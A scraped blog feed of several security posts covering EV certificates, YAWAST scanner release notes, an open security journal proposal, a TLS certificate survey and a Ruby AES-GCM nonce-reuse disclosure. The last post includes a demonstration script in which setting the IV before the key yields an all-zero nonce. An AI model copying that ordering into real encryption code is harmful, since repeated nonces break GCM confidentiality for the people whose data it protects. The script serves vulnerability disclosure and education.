I was debating this topic with coworkers recently – the value of EV certificates is limited, it does help inform some users but the percentage is low, it can be used with HPKP to make it harder for an attacker to hijack DNS and perform a successful man-in-the-middle or redirection attack, but that comes with the inherent issues of HPKP and its ability to easily take a site down completely.

With this limited value, it’s difficult to determine if it’s worth the expense – if you are protecting a highly sensitive system, preventing even a single phishing attack could justify the expense, for other systems, it may in fact be a waste of money. As such, it is up to site operators to determine if the small impact that it provides justifies the expense and work required.


  1. Even this comes with its own set of limitations, there is still the issue of third-party content, such as JavaScript, which provides another route of attack that isn’t mitigated by this technique. When using content from a third-party, you accept their weaknesses and the risk that it adds to your own systems. If you are relying on EV + HPKP, but are using a JavaScript library from a CDN that uses a DV certificate, that still provides an attack vector that bypasses the value of EV+HPKP. This is the reason that Jackson & Barth suggested a httpev:// URL scheme to provide isolation from https:// URLs, ensuring that only resources with EV certificates are loaded. 

The post Looking for value in EV Certificates appeared first on Adam Caudill.

]]>
Adam Caudill <![CDATA[YAWAST 0.5 Released]]> https://adamcaudill.com/?p=1116 2017-04-05T17:36:29Z 2017-04-05T17:36:29Z Today, I’ve released the latest version of YAWAST, a security scanner for web applications that provides basic information about the application, and performs common checks so that you can move on to the fun part of testing more quickly. YAWAST also remains the only tool I’ve found that can perform an accurate test for SWEET32.… Continue reading YAWAST 0.5 Released

The post YAWAST 0.5 Released appeared first on Adam Caudill.

]]>
Today, I’ve released the latest version of YAWAST, a security scanner for web applications that provides basic information about the application, and performs common checks so that you can move on to the fun part of testing more quickly. YAWAST also remains the only tool I’ve found that can perform an accurate test for SWEET32.

Here is the change log for version 0.5.0:

  • #35 – Add check for SameSite cookie attribute
  • #53 – Added checks for .well-known URLs
  • #75 – Use internal SSL scanner for non-standard ports
  • #84 – Improve the display of ct_precert_scts
  • #86 – Add check for Tomcat Manager & common passwords
  • #87 – Tomcat version detection via invalid HTTP verb
  • #88 – Add IP Network Info via api.iptoasn.com
  • #90 – Add HSTS Preload check via HSTSPreload.com
  • #91 – Enhanced file search
  • #96 – Scan for known SRV DNS Records
  • #97 – Search for Common Subdomains
  • #100 – Check for missing cipher suite support
  • #102 – Use SSLShake to power cipher suite enumeration
  • #76 – Bug: Handle error for OpenSSL version support error
  • #98 – Bug: SWEET32 Test Fails if 3DES Not Support By Latest Server Supported TLS Version
  • #99 – Bug: Cloudflare SWEET32 False Positive
  • #101 – Bug: SWEET32 False Negative
  • #103 – Bug: Scan fails if HEAD isn’t supported
  • Various code and other improvements.

The post YAWAST 0.5 Released appeared first on Adam Caudill.

]]>
Adam Caudill <![CDATA[On the need for an open Security Journal]]> https://adamcaudill.com/?p=1017 2016-09-28T22:23:41Z 2016-09-28T22:23:41Z The information security industry, and more significantly, the hacking community are prolific producers of incredibly valuable research; yet much of it is lost to most of those that need to see it. Unlike academic research which is typically published in journals (with varying degrees of openness), most research conducted within the community is presented at… Continue reading On the need for an open Security Journal

The post On the need for an open Security Journal appeared first on Adam Caudill.

]]>
The information security industry, and more significantly, the hacking community are prolific producers of incredibly valuable research; yet much of it is lost to most of those that need to see it. Unlike academic research which is typically published in journals (with varying degrees of openness), most research conducted within the community is presented at a conference – and occasionally with an accompanying blog post. There is no journal, no central source that this knowledge goes to; if you aren’t at the right conference, or follow the right people on Twitter, there’s a great chance you’ll never know it happened.

There are many issues that this creates, here I will cover a few:

Citing Prior Research

In most conference presentations, seeing prior research cited is the exception, not the rule; this is not because the presenter is trying to take all of the credit for themselves, but a symptom of a larger issue: they are likely unaware of what’s been done before them. Unlike other fields where it’s clear that research builds on the work of those that have come before, in information security, the basis of research is unclear at best and totally lost at worst.

This leads to work being recreated, as happened recently in the case of TIME / HEIST – where the same discovery was made and presented by two groups nearly four years apart. In this case, for one reason or another, the HEIST researchers were unaware of the TIME research, and presented it as a new discovery. This clearly demonstrates two major problems:

  • Researchers aren’t seeing prior research.
  • Research is not being published in a way that makes it easy to find.

When Brandon Wilson and I were working on verifying and extending the BadUSB research, we were clearly aware of the work done by SR Labs and clearly disclosed the role their work played in what we released – what we should have cited though was a number of others that had performed research on similar devices, such as the work on SD Cards, though we weren’t aware of it at the time we began our work. In this case, there’s a blog post and a recorded talk (which is far better than most others), though it’s still not something we had seen.

By not citing prior work, we not only deny credit to those that had moved the state of the art forward, we continually reinvent the wheel – instead of building on the full knowledge of those that came before us, we are recreating the basic results again. Instead of iterating and improving, we are missing the insights and advantages of learning from others, we are recreating the same mistakes that had been solved in the past, we are wasting time by rediscovering what is already known.

There is also the issue of finding the latest research on a topic – when sources are properly cited, it’s possible to follow the chain to founding research, and to the latest research, as this is so rarely done in work produced by the community, it’s impossible to find the latest, to see the impact of the research you do, or see what’s been done to validate research. By not having these connections, a great deal of insight is completely lost.

This is also a very significant issue for those performing academic research – as it’s considered misconduct to not cite sources, yet without a way to clearly identify existing research, it’s difficult to impossible to cite the work that the community and industry does. This furthers the gap that exists between academic and applied information security. Some criticize academic researchers for being out of touch with the rest of the world – a major part of that is that we make it impossible for them not to be.

Losing History

Perhaps the greatest cost of not having a central knowledge store is that much research is lost completely – the blogs of independent researchers are notoriously unstable, often disappearing and taking all of content with it. We are sometimes lucky that the content is reproduced in a mailing list or been archived in the Wayback Machine, though in too many cases it is truly gone.

Countless hours are invested every year, and there is at least one conference every week of the year – with material that may never be presented or recorded again. Only those that attended are exposed to it, so it exists only in the memory of a few select people.

There was a time that a person could go to enough conferences, read enough blogs, follow enough mailing lists to keep up with the majority of new research – those days have long since passed. Today, it is impossible for any individual to remain truly abreast of new research.

Steps Forward & Backwards

In the past, zines such as Phrack could help share tha great deal of knowledge that’s produced, though now with years between releases, it is far from able to keep up. An effort that was a real step forward, PoC||GTFO, has helped some – with a few issues per year and has been able to issue the collected papers from conferences. Though the highly humorous tone, irregular schedule, and level of effort required to release a single issue bring up questions of suitability for the solution to this problem.

The Proposal: An Open Journal

On August 21st I tweeted a poll asking a simple question:

If there was an open, semi-formal journal, would you submit your papers, talks, research for publication?

This poll was seen 14,862 times, received 55 retweets, and numerous replies; there were 204 votes, which break down like this:

  • Yes: 42%
  • Maybe: 27%
  • No: 7%
  • Why is this needed? 24%

The last number is the most interesting to me: to many of us, the issues are clear and of increasing importance, to others, it’s less so. When I posted this poll, I knew that number would be interesting, but at 24%, it’s more significant than I expected. There are, of course, academic journals available, though they are not suited to the needs of the community – nor entirely appropriate for the research that is published. This shows the deep cultural gap between academic and practitioners, and why purely academic journals haven’t been able to address these needs.

In the replies, a number of questions were raised, which reveal some interesting issues and concerns:

  • I don’t write formal papers, I don’t know what would be expected.
  • I can present at a conference, but formal papers make me uncomfortable.
  • Do I have to pay to have the work published?
  • How would this be funded?

There are a number of interesting things here, the most significant I see is that it’s clear that the publishing model used for academic journals doesn’t work for the community. This is often independent work that has little to no funding, so there are no grants, no assistants to help with the paper, and no familiarity with the somewhat unique world of academic journals.

For such an effort to succeed, a number of objectives would have to be met:

  • No cost to publish.
  • No cost to access.
  • Simple submission requirements to minimize pain and learning curve.
  • Cooperation with conferences to encourage submissions.
  • Regular publication schedule.
  • Volunteers willing to coordinate and edit.
  • Community control, no corporate interference or control.
  • All rights should remain with the authors, with license granted for publishing.
  • 100% non-profit.

In my view, a new organization needs to be created, with the goal of becoming an IRS recognized non-profit, with a board of directors elected by the community to guide the creation and publication of this journal. Funding should be from organization members and corporate sponsors; with a strong editorial independence policy to ensure that sources of funding can not interfere with their decisions or what is published.

The journal should strive for sufficient peer review and editorial quality to ensure that the journal is recognized as a legitimate source of trustworthy information, and as a permanent archive of the collected knowledge of the industry. Access to this information should be free to all, so that knowledge spreads, and is not locked behind a paywall or left to perish – unknown and unseen. The journal should strive to be as complete as possible, working with researchers, with companies, and with conferences to collect and published as much high quality research as possible.

Publication in this journal should be a matter of pride for authors, something they advertise as an achievement.

Path Forward

To move forward with this, will require the help and support of many people – it is not a simple task, and comes with many complications to succeed. Though as the industry and community grow, it’s clear to many that a solution is needed for this problem. The knowledge produced needs to be collected, and made easy to find, easy to cite, and freely available to all of those that seek it.

The post On the need for an open Security Journal appeared first on Adam Caudill.

]]>
Adam Caudill <![CDATA[TLS Certificates from the Top Million Sites]]> https://adamcaudill.com/?p=1043 2016-09-25T16:41:22Z 2016-09-23T18:07:19Z Thanks to the recent WoSign / StartCom issues with misused or flawed certificates, there was a question about how many of the certificates issued were actually active – so this seemed to be a good time to run a scan against the Alexa top 1 million sites to see what I could find. Scan information:… Continue reading TLS Certificates from the Top Million Sites

The post TLS Certificates from the Top Million Sites appeared first on Adam Caudill.

]]>
Thanks to the recent WoSign / StartCom issues with misused or flawed certificates, there was a question about how many of the certificates issued were actually active – so this seemed to be a good time to run a scan against the Alexa top 1 million sites to see what I could find.

Scan information: The scan was ran with an 8 second timeout – so any server that couldn’t complete a handshake within 8 seconds isn’t counted. The scanner attempted to connect to the domain on port 443, and if that failed, then attempted to connect to the “www” subdomain. No certificate validation was performed. The scan didn’t attempt any other ports or subdomains, so it’s far from a complete picture.

Of the top 1 million sites, 700,275 respond with a certificate on port 443; here are the top certificate authorities identified:

6b0zdvqx

  • Comodo: 192,646
  • GeoTrust Inc: 85,964
  • GoDaddy.com, Inc: 45,609
  • GlobalSign: 42,111
  • Let’s Encrypt: 38,190
  • Symantec Corporation: 27,612
  • DigiCert Inc: 27,588
  • cPanel, Inc: 24,195
  • thawte, Inc: 18,640
  • Starfield Technologies, Inc: 11,411

The first thing you may notice looking at that list, is that Comodo is the overwhelming leader – accounting for 28% of all certificates returned. Part of the reason for this is the partnerships they have: they are the certificate provider for CloudFlare, which offers TLS support to all customers, including those on their free plan, as well as various hosting providers. Here’s a breakdown:

  • CloudFlare: 73,339
  • HostGator: 9,499
  • BlueHost: 4,410
  • Others: 19,904

It’s quite exciting to see Let’s Encrypt not only in the top 10, but in the top 5 – for an organization that runs on less than $3M, they have done a remarkable job on impacting the industry.

For the two that started it all, StartCom has 10,221 and WoSign comes in at 3,965 – though in discussions with someone who has access to Google’s internal crawl logs, this is far from a complete picture of the usage of their certificates. As this scan only included the root (or www subdomain in case of an error) and port 443, this scan only captures some of the picture.

For invalid certificates (self-signed & otherwise untrusted), certificates with no issuer organization actually made it in the top 10, with 25,954 certificates; this is followed by localhost with 13,450 and Parallels Panel with 11,450 certificates.

The raw data for the scan is available here and was produced with a beta feature in YAWAST.

Thanks to Kenn White for the graphic!

The post TLS Certificates from the Top Million Sites appeared first on Adam Caudill.

]]>
Adam Caudill <![CDATA[Ruby + GCM Nonce Reuse: When your language sets you up to fail…]]> https://adamcaudill.com/?p=1028 2016-09-20T16:16:37Z 2016-09-19T21:59:17Z A couple hours ago, Mike Santillana posted to oss-security about a rather interesting find in Ruby’s OpenSSL library; in this case, the flaw is subtle – so much so that it’s unlikely that anyone would notice it, and it’s a matter of a seemingly insignificant choice that determines if your code is affected. When performing… Continue reading Ruby + GCM Nonce Reuse: When your language sets you up to fail…

The post Ruby + GCM Nonce Reuse: When your language sets you up to fail… appeared first on Adam Caudill.

]]>
A couple hours ago, Mike Santillana posted to oss-security about a rather interesting find in Ruby’s OpenSSL library; in this case, the flaw is subtle – so much so that it’s unlikely that anyone would notice it, and it’s a matter of a seemingly insignificant choice that determines if your code is affected. When performing AES-GCM encryption, if you set the key first, then the IV, and you are fine – set the IV first, you’re in trouble.

Depending on the order you set properties, you can introduce a critical flaw into your application.

If you set the IV before the Key, it’ll use an empty (all zeros) nonce. We all (hopefully) know just how bad nonce reuse in GCM mode can be – in case you don’t recall, there’s a great paper on the topic. The short version is, if you reuse a nonce you are in serious trouble.

The Issue

Here’s the code that demonstrates the issue (based on code from Mike’s post, with some changes to better demonstrate the issue):

#!/usr/bin/env ruby

require 'openssl'

def bin2hex(bin)
  bin.unpack('H*')
end

def encrypt(plaintext)
  cipher = OpenSSL::Cipher.new('aes-256-gcm')
  cipher.encrypt
  iv = cipher.random_iv # Notice here the IV is set before the key
  cipher.key = '11111111111111111111111111111111'
  cipher.auth_data = ""
  ciphertext = cipher.update(plaintext)
  ciphertext << cipher.final

  puts "[+] Encrypting: #{plaintext}"
  puts "[+] CipherMessage        (IV | Ciphertext): #{bin2hex(iv)} | #{bin2hex(ciphertext)}"
end

def encrypt_null_iv(plaintext)
  cipher = OpenSSL::Cipher.new('aes-256-gcm')
  cipher.encrypt
  cipher.iv = "\0"*16
  cipher.key = '11111111111111111111111111111111'
  cipher.auth_data = ""
  ciphertext = cipher.update(plaintext)
  ciphertext << cipher.final

  puts "[+] Encrypting: #{plaintext}"
  puts "[+] CipherMessage (No IV) (Ciphertext): #{bin2hex(ciphertext)}"
end

puts encrypt "This is some secret message."
puts encrypt "This is some secret message."
puts encrypt_null_iv "This is some secret message."

Each time this is called, a unique ciphertext should be produced thanks to the random IV (or nonce in this case), yet, that isn’t what happens:

[+] Encrypting: This is some secret message.
[+] CipherMessage        (IV | Ciphertext): ["b4eccdf06db4707822e7ad77"] | ["81092d16b62902d9985656253891dc800a5bb48fb1c4ad0b7bdf6054"]

[+] Encrypting: This is some secret message.
[+] CipherMessage        (IV | Ciphertext): ["4d0f19b972c7d90d7ee8b9ab"] | ["81092d16b62902d9985656253891dc800a5bb48fb1c4ad0b7bdf6054"]

[+] Encrypting: This is some secret message.
[+] CipherMessage (No IV) (Ciphertext):                                    ["81092d16b62902d9985656253891dc800a5bb48fb1c4ad0b7bdf6054"]

In the first two cases, a random IV is used (cipher.random_iv), and should produce unique ciphertext every time it’s called, in the third case, we explicitly set a null IV – and if you notice, all three produce the same output. What’s happening is that the nonce is all zeros for all three cases – the random nonce isn’t being used at all, and thus the ciphertext is repeated each time the same message is encrypted. The fact that a null IV is used when no value is supplied is actually documented – it just so happens to be that setting an IV prior to setting the key is effectively the same as not setting one at all.

A bug 5 years in the making…

The cause of this issue is a test case that was found five years ago:

ruby -e 'require "openssl";OpenSSL::Cipher::AES128.new("ECB").update "testtesttesttest"'

What this code did was trigger a segmentation fault due to performing an update before the key was set. The workaround that was added was to initialize the Cipher with a null key to prevent the crash. At the time, this change wasn’t seen as being significant:

Processing data by Cipher#update without initializing key (meaningless usage of Cipher object since we don’t offer a way to export a key) could cause SEGV.

This ‘fix’ set the stage for this issue to come up. Setting a key that was meant to be overwritten caused a change in behavior in OpenSSL’s aes_gcm_init_key – instead of preserving a previously set IV, the IV is instead overwritten with the default null value. This isn’t exactly obvious behavior, and can only be seen by careful examination of the OpenSSL code.

So this is less a single bug, and more of a combination of odd behaviors that combine in a specific way to create a particularly nasty issue.

APIs That Lead To Failure

OpenSSL is notorious for its complicated API – calling it ‘developer unfriendly’ would be a massive understatement. I greatly appreciate the work that the OpenSSL developers do, don’t get me wrong – but seeing issues due to mistakes and misunderstandings of how OpenSSL works is quite common. Even in simple cases, it’s easy to make mistakes that lead to security issues.

It’s clear that this issue is just the latest in a long line caused by a complex and difficult to understand API, that makes what appears to be a simple change have far greater impact than anticipated. The result, is another API that you have to understand in great detail to use safely.

To make it clear, this isn’t the only case where order of operations can lead to failure.

The Workaround

The workaround is to just update code to move the call to cipher.random_iv to some point after the key is set – but this is something that shouldn’t matter. There are discussions going on now to determine how to correct the issue.

Ruby’s OpenSSL library is a core library that’s widely used, and performs security critical tasks in countless applications. For a flaw like this to go unnoticed is more than a little worrying. It’s vital that languages and libraries make mistakes as hard as possible – in this case, they failed.

The post Ruby + GCM Nonce Reuse: When your language sets you up to fail… appeared first on Adam Caudill.

]]>